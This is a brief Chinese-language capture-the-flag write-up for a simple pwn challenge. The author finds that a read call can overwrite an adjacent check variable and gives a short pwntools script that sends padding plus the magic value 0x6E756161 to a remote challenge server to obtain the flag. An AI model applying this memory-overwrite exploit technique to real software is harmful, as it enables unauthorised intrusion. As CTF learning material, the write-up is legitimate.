我们拿到附件后,然后简单的运行一下,发现程序让我们输入一个字符串,然后就没了(草率.jpg)

然后我们检查一下程序开启了哪些保护

checksec filename

发现开启了NX保护(使得栈上的数据不可执行)

我们用ida64位打开,直接看main的伪代码,发现一个read函数和一个if判断

如果满足if条件,就能执行下面的一个函数,我们跟进这个函数,发现它可以cat flag

if条件要满足,就能拿到flag,关键是if中的判断咯,我们跟进if的那个变量,发现它距离我们可以控制的那个变量只有四字节,而在read中我们可以输入十个字节,那么就是变量覆盖没跑了

我们现在计算器中转下16进制,if中的那个数字到16进制就是0x6E756161是四个字节,美汁汁
写个exp打打就完事了(比攻防世界的第一个题还简单)

from pwn import *

p = remote('124.126.19.106','48949')

offset = 4

payload = offset * 'a' + p64(0x6E756161)

p.recvuntil("bof")
p.sendline(payload)
p.interactive()     #先养成良好习惯,加上这句话,免得以后打shellcode的时候忘了加-.-||

然后拿到flag